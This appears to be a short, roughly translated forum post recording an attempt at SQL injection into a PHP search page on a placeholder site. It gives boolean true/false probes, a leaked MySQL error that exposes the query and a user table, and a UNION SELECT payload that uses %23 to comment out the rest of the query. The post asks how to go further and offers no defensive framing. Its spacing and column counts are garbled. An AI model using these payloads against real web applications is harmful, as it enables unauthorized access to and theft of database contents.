Mysql + php search injection problem records

Http://xxx.com/search.php? Dy = a % and 1 = 1 -- Error
Http://xxx.com/search.php? Dy = a % and 1 = 2 -- Error

Http://xxx.com/search.php? Dy = a % and 1 = 1 and % = normal
Http://xxx.com/search.php? Dy = a % and 1 = 2 and % = Error

How can I construct a statement for order by or union query?

Http://xxx.com/search.php? Dy = a % and 1 = 2 order by xx and % = the error message is displayed ..

Info: MySQL Query Error

Time:
Script:

SQL: SELECT U_Id, U_Yxdm, U_Show, U_Name, u_Num FROM j_user WHERE U_Type = 3 AND U_Show> 0 AND (U_Yxdm = a % and 1 = 2 order by 20 and % = OR U_Name LIKE % a % and 1 = 2 order by 20 and % = %) order by U_Num ASC
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near order by 20 and % = OR U_Name LIKE % a % and 1 = 2 order by 20 and % = %) ORD at line 1
Errno.: 1064

 

Use % 23
Http://xxx.com/search.php? Dy = x) union select 1, 2, 4, 5% 23

X) union select 1, 2, 4, 5 #